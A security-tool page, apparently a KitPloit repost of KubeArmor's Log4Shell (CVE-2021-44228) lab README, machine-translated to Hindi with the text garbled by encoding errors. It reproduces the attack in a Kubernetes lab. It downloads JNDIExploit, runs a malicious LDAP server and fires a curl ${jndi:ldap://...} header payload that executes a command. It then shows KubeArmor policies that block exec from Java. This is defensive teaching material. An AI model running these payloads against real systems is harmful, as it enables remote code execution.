Sploitus

Exploit for log4j

kitploit ┬╖ 2026-08-27

Exploit Code

MARKDOWN323 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KUBEARMOR-LOG4J-CVE-2021-44228
# Apache Log4j рдЬреАрд░реЛ рдбреЗ рдЙрд░реНрдл Log4Shell рдЙрд░реНрдл CVE-2021-44228

  * рдкрд░рд┐рдЪрдп
  * k8s рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди
    * рднреЗрджреНрдпрддрд╛ рд╡рд╛рд▓реЗ k8s рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕реНрдерд╛рдкрдирд╛
  * рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рди
    * KubeArmor рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐
      * JVM/Java рд╕реЗ рдХрд┐рд╕реА рднреА exec рдХреА рдЕрдиреБрдорддрд┐ рди рджреЗрдирд╛
      * рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЕрд╕реНрд╡реАрдХрд╛рд░-рдЖрдзрд╛рд░рд┐рдд рдирд┐рдпрдо
      * рдкреЙрдбреНрд╕ рдореЗрдВ KubeArmor рджреГрд╢реНрдпрддрд╛/рдЕрд╡рд▓реЛрдХрди
    * Cilium рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐
      * RMI рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛
  * рднрд╡рд┐рд╖реНрдп рдХреЗ рдЬреАрд░реЛ-рдбреЗ рдХреЛ рд░реЛрдХрдирд╛
    * рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рд▓реЙрдЧ4рдЬреЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рдХреИрд╕реЗ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИ?
    * KubeArmor рдФрд░ рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ
  * рдХреНрд░реЗрдбрд┐рдЯ



## рдкрд░рд┐рдЪрдп

9 рджрд┐рд╕рдВрдмрд░, 2021 рдХреЛ, рджреБрдирд┐рдпрд╛ рдПрдХ рдирдИ рднреЗрджреНрдпрддрд╛ рд╕реЗ рдЕрд╡рдЧрдд рд╣реБрдИ рдЬрд┐рд╕реЗ CVE-2021-44228 рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛, рдЬреЛ Apache Java рд▓реЙрдЧрд┐рдВрдЧ рдкреИрдХреЗрдЬ log4j рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдиреЗ рдЧрдВрднреАрд░рддрд╛ рд╕реНрдХреЛрд░ 10.0 (рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрджрдирд╛рдо) рдЕрд░реНрдЬрд┐рдд рдХрд┐рдпрд╛ рдФрд░ рдЙрди рд╣реЛрд╕реНрдЯреЛрдВ рдкрд░ рд╕рд░рд▓ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдЬреЛ рдЗрд╕ log4j рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реЗ рдЬреБрдбрд╝рддреЗ рд╣реИрдВред "Log4Shell" рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдирд╛рдо рд╣реИред

рдЖрдЬ, log4j рд╕рдВрд╕реНрдХрд░рдг 2.15.0rc2 рдЙрдкрд▓рдмреНрдз рд╣реИ рдФрд░ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреИрдЪ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рднрд╛рд░реА рдЦрддрд░рд╛ рдЗрд╕ рдмрд╛рдд рдХреЗ рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд▓реЙрдЧрд┐рдВрдЧ рдкреИрдХреЗрдЬ рдХрд┐рддрдирд╛ рд╕рд░реНрд╡рд╡реНрдпрд╛рдкреА рд╣реИред рд▓рд╛рдЦреЛрдВ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░рджрд╛рддрд╛ рдЕрдкрдиреЗ рдХреЛрдб рдореЗрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред

рдЬреНрдЮрд╛рдд рд╕рдмрд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрд╣рдЪрд╛рди: 2021-12-01 04:36:50 UTC ![alt txt](https://assets.kitploit.com/production/public/readmes/28215/8c6b3ed6e60b126e7b510ba5395862bf02a9a2dbccc0d8c87a6d88126e51238a.png)

**рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг:**

  * Log4j <= 2.14.1
  * Apache: 2.0 <= Apache log4j <= 2.14.1



рдХреМрди рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИ?

  * **рдкреНрд░рднрд╛рд╡** : рдЬрд┐рд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдореВрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЪрд▓ рд░рд╣реА рд╣реИ, рдЙрд╕рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рд▓рд╛рдпрд╛ рдЧрдпрд╛ рдХреЛрдб, рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж lolbins, рдпрд╛ рдХреЗрд╡рд▓ рд╕рд╛рдЭрд╛ рд░рд╣рд╕реНрдпреЛрдВ рдпрд╛ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░реЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд╛рдкрд╕ рднреЗрдЬрдирд╛)ред

  * **рд▓рдХреНрд╖реНрдп** : рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдЬреЛ Java рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдФрд░ log4j рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рднреА рд▓реЙрдЧ рдХрд░рддреЗ рд╣реИрдВ - рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЪрд┐рдВрддрд╛, рд▓реЗрдХрд┐рди рдХреЛрдИ рднреА рдХрдордЬреЛрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд▓рдХреНрд╖реНрдп рдпрд╛ рдкрд┐рд╡рдЯ рдкреЙрдЗрдВрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

  * **рдбрд╛рдЙрдирд╕реНрдЯреНрд░реАрдо рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕** : рдЬрдм рддрдХ рдЕрдиреНрдпрдерд╛ рд╕рд┐рджреНрдз рди рд╣реЛ, рдорд╛рди рд▓реЗрдВ рдХрд┐ log4j рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рдЪреАрдЬрд╝ - рдЬрд┐рд╕рдореЗрдВ Elasticsearch, Apache Struts / Solr / Druid / Flink рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ - рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рд╢рдорди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

  * **рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг** : log4j 2.x рдкреБрд╖реНрдЯрд┐ - log4j 1.x рдХреЗрд╡рд▓ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ (рдкрд┐рдЫрд▓реА рд╕реВрдЪрдирд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рднреЗрджреНрдпрддрд╛рдПрдВ) (рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ)

  * **рдЙрдкрдХрд░рдг** : рдЙрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рди рднреВрд▓реЗрдВ рдЬреЛ Java рд╕рд░реНрд╡рд░ рдШрдЯрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЕрдкреНрд░рдорд╛рдгрд┐рдд рднреЗрджреНрдпрддрд╛ рд╕реНрдХреИрдирд┐рдВрдЧ рджреНрд╡рд╛рд░рд╛ рдЙрдирдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛

  * **рд▓реЙрдЧ рдлрд╝реЙрд░рд╡рд░реНрдбрд┐рдВрдЧ** : рд▓реЙрдЧрд┐рдВрдЧ рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдореЗрдВ рдЕрдХреНрд╕рд░ рдХрдИ "рдЙрддреНрддрд░рдореБрдЦреА" (рдореЗрд░реЗ рд▓реЙрдЧ рдХрд┐рд╕реА рдХреЛ рднреЗрдЬреЗрдВ) рдФрд░ "рджрдХреНрд╖рд┐рдгрдореБрдЦреА" (рдХрд┐рд╕реА рд╕реЗ рд▓реЙрдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛) рдлрд╝реЙрд░рд╡рд░реНрдбрд┐рдВрдЧ/рд░рд┐рд▓реЗрдЗрдВрдЧ рдЯреЛрдкреЛрд▓реЙрдЬреА рд╣реЛрддреА рд╣реИрдВред рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝рдиреЗ рдкрд░ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

  * **рдХреНрд▓рд╛рдЙрдб** : рдХрдИ рдмрдбрд╝реЗ рдкреНрд░рджрд╛рддрд╛ рднреА рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИрдВ (CVE-2021-44228 рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдПрдХ рд╕рдореБрджрд╛рдп-рдХреНрдпреВрд░реЗрдЯреЗрдб рд╕реВрдЪреА рдЗрд╕ GitHub рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ)ред




## k8s рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдкреБрдирд░реБрддреНрдкрд╛рджрди

![log4j рдЖрдХреНрд░рдордг рд╡реГрдХреНрд╖](https://assets.kitploit.com/production/public/readmes/28215/837eb8abf220f635985a5d47a0ecfef9e6fff8f589204605a670576077421d1f.png)

### рднреЗрджреНрдпрддрд╛ рд╡рд╛рд▓реЗ k8s рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕реНрдерд╛рдкрдирд╛

**рдЪрд░рдг #1:** рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ Log4j рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╕рдВрдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛рдУрдВ рд╡рд╛рд▓реЗ рдкреЙрдб рдХреЛ рддреИрдирд╛рдд рдХрд░рдирд╛

root@kitploit:~
    
    
    git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
    kubectl apply -f deploy-log4j-k8s.yaml
    

  * рддреИрдирд╛рддреА рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдФрд░ рдмрд╛рд╣рд░реА IP рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдЖрджреЗрд╢ рдЯрд╛рдЗрдк рдХрд░реЗрдВ:



root@kitploit:~
    
    
    kubectl get po,svc
    

  * рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП



root@kitploit:~
    
    
    NAME                              READY   STATUS    RESTARTS   AGE
    pod/log4j-demo-5d7c84d8b9-vs8ck   1/1     Running   0          1h30m
    
    NAME                 TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
    service/kubernetes   ClusterIP      10.112.0.1     <none>          443/TCP        4h44m
    service/log4j-svc    LoadBalancer   10.112.8.158   35.241.165.36   80:30202/TCP   1h30m
    

> рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рд╣рдордиреЗ `default` рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдХрдордЬреЛрд░ Log4Shell рдирдореВрдирд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреИрдирд╛рдд рдХрд┐рдпрд╛ рд╣реИ

**рдЪрд░рдг #2:** рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг LDAP рд╕рд░реНрд╡рд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛

root@kitploit:~
    
    
    wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
    

**рдЪрд░рдг #3:** рдЕрдкрдиреЗ PC рдпрд╛ рдХреНрд▓рд╛рдЙрдб VM рдкрд░ рдЗрдирдХрдорд┐рдВрдЧ рдЯреНрд░реИрдлрд┐рдХ рдХреЗ рд▓рд┐рдП LDAP рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░рдирд╛

root@kitploit:~
    
    
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
    

> рдкреНрд░рд╛рдЗрд╡реЗрдЯ IP `hostname -I` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд╡реЗрд░реА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред  
>  рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХрд╛ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдкреЛрд░реНрдЯ `1389` рдФрд░ `8888` рдХреЗ рд▓рд┐рдП рдЯреНрд░реИрдлрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ

**рдЪрд░рдг #4:** `cURL` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЛрд╖рдг

root@kitploit:~
    
    
    # curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
    curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
    

> рдпрд╣рд╛рдБ, рдкрд╣рд▓рд╛ IP рд╣рдорд╛рд░рд╛ k8s рдмрд╛рд╣рд░реА IP рд╣реИ (рдЪрд░рдг #1) рдЬрд╣рд╛рдБ рдХрдордЬреЛрд░ рдирдореВрдирд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЪрд▓ рд░рд╣рд╛ рд╣реИред  
>  рджреВрд╕рд░рд╛ IP рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг LDAP рд╕рд░реНрд╡рд░ рдХрд╛ рдмрд╛рд╣рд░реА IP рд╣реИ (рдЪрд░рдг #2)

**рдЪрд░рдг #5:** рдлрд╝рд╛рдЗрд▓ `/tmp/pwned` рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреА рдЬрд╛рдБрдЪ рдХрд░рдХреЗ рдкреБрд╖реНрдЯрд┐

root@kitploit:~
    
    
    kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
    

> `log4j-demo-5d7c84d8b9-vs8ck` рдХреЛ рдЪрд░рдг #1 рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рдЕрдкрдиреЗ рдкреЙрдб рд╕реЗ рдмрджрд▓реЗрдВред  
>  рдЖрдкрдХреЛ `/tmp` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ `pwned` рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рдПрдХ рдлрд╝рд╛рдЗрд▓ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

## рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рди

### KubeArmor рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐

KubeArmor рдПрдХ рд░рдирдЯрд╛рдЗрдо рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╣реИ рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛/DevSecOps рдЯреАрдореЛрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди/рд╕рд┐рд╕реНрдЯрдо-рдЖрдзрд╛рд░рд┐рдд рдирд┐рдпрдВрддреНрд░рдгреЛрдВ (рдЬреИрд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрдкреЙрдирд┐рдВрдЧ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛, рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд╣реБрдВрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛, рдкреЙрдб рдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рдЖрджрд┐) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ рд╡рд░реНрдХрд▓реЛрдб рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред KubeArmor рдореЗрдВ рдПрдХ рджреГрд╢реНрдпрддрд╛ рдореЛрдб рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди/рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рджреГрд╢реНрдпрддрд╛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреА рд╣реИ рдЬрд┐рд╕рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдкреЙрдб рдХреЗ рдЕрдВрджрд░ рдХреНрдпрд╛ рд╣реЛ рд░рд╣рд╛ рд╣реИ рдЕрд░реНрдерд╛рддреН, рдХреМрди рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕реНрдкреЙрди рдХреА рдЧрдИ рд╣реИрдВ, рдХреМрди рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕реЗрд╕ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЖрджрд┐ред KubeArmor рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдмрд╕реЗ рдмрдбрд╝рд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдРрд╕реА рдиреАрддрд┐рдпрд╛рдБ рднреА рд╕рдмрдорд┐рдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдРрд╕реЗ рд╕рд┐рд╕реНрдЯрдо рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд░реЛрдХ/рдмреНрд▓реЙрдХ/рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд╕рдХрддреА рд╣реИрдВред

рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЖрдВрддрд░рд┐рдХ рдбреЗрдЯрд╛ рдХреЛ рдмрд╛рд╣рд░ рдирд┐рдХрд╛рд▓рдиреЗ рдпрд╛ рдХреНрд░рд┐рдкреНрдЯреЛрдорд╛рдЗрдирд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдпрд╛ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рдРрдкреНрд╕ рдореЗрдВ рддрдмрд╛рд╣реА рдордЪрд╛рдиреЗ рдХреЗ рдЗрд░рд╛рджреЗ рд╕реЗ рдШреБрд╕рдкреИрда рдХрд░рддрд╛ рд╣реИред рдЗрди рд╕рднреА рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЗрд░рд╛рджреЗ рдХреЛ рдкреВрд░рд╛ рдХрд░ рд╕рдХреЗред Log4j рднреЗрджреНрдпрддрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдПрдХ рдмрд╛рдЗрдирд░реА рд░рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдРрд╕реА рдЧрд╛рд░реНрдбрд░реЗрд▓ рд▓рдЧрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рддрд╛рдХрд┐ JVM рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рди рд╣реЛред

#### JVM/Java рд╕реЗ рдХрд┐рд╕реА рднреА exec рдХреА рдЕрдиреБрдорддрд┐ рди рджреЗрдирд╛

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХ KubeArmor рдиреАрддрд┐ рд╣реИ рдЬреЛ рдкреЙрдб рдореЗрдВ Java рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдЪрд╛рдЗрд▓реНрдб рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдлрд╝реЛрд░реНрдХ рдХрд┐рдП рдЬрд╛рдиреЗ рд╕реЗ рдЕрд╕реНрд╡реАрдХрд╛рд░/рд░реЛрдХ рд╕рдХрддреА рд╣реИред

root@kitploit:~
    
    
    apiVersion: security.kubearmor.com/v1
    kind: KubeArmorPolicy
    metadata:
      name: do-not-allow-exec-from-java
    spec:
      severity: high
      message: "disallow execing from java process"
      selector:
        matchLabels:
          app: log4j2
      process:
        matchPaths:
        - path: * #disaallow all paths from the java process
          fromSource:
          - path: /opt/openjdk-16/bin/java
      action:
        Block
    

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣рд╛рдБ рдХреНрд░рд┐рдпрд╛ `Block` рд╣реИред `fromSource` рд╢рд░реНрдд рдкрд░ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдЬреЛ рдХрд╣рддреА рд╣реИ рдХрд┐ рдХреЗрд╡рд▓ рджреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ exec рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ, рдХреЗрд╡рд▓ Java/JVM рдХреА рдЪрд╛рдЗрд▓реНрдб рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ exec рд╕реЗ рд╡рдВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЕрдиреНрдп рдЯреВрд▓рд┐рдВрдЧ рдХреЗ рд╡рд┐рдкрд░реАрдд, KubeArmor рдореЗрдВ рд░рдирдЯрд╛рдЗрдо рдкрд░ рд╕рд┐рд╕реНрдЯрдо рд╕рдВрдЪрд╛рд▓рди рдХреЛ `Block` рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред

#### рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЕрд╕реНрд╡реАрдХрд╛рд░-рдЖрдзрд╛рд░рд┐рдд рдирд┐рдпрдо

рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреБрдЫ рдореМрдЬреВрджрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрднреА рднреА Java/JVM рджреНрд╡рд╛рд░рд╛ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдРрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ `Allow` рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред рдЗрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдХрд░, KubeArmor рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ рдореВрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреНрдп рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    apiVersion: security.kubearmor.com/v1
    kind: KubeArmorPolicy
    metadata:
      name: do-not-allow-exec-from-java
    spec:
      severity: high
      message: "disallow execing from java process"
      selector:
        matchLabels:
          app: log4j2
      process:
        matchPaths:
        - path: /usr/local/bin/myapp
          fromSource:
          - path: /opt/openjdk-16/bin/java
        - path: /usr/local/bin/log4j
          fromSource:
          - path: /opt/openjdk-16/bin/java
      action:
        Allow
    

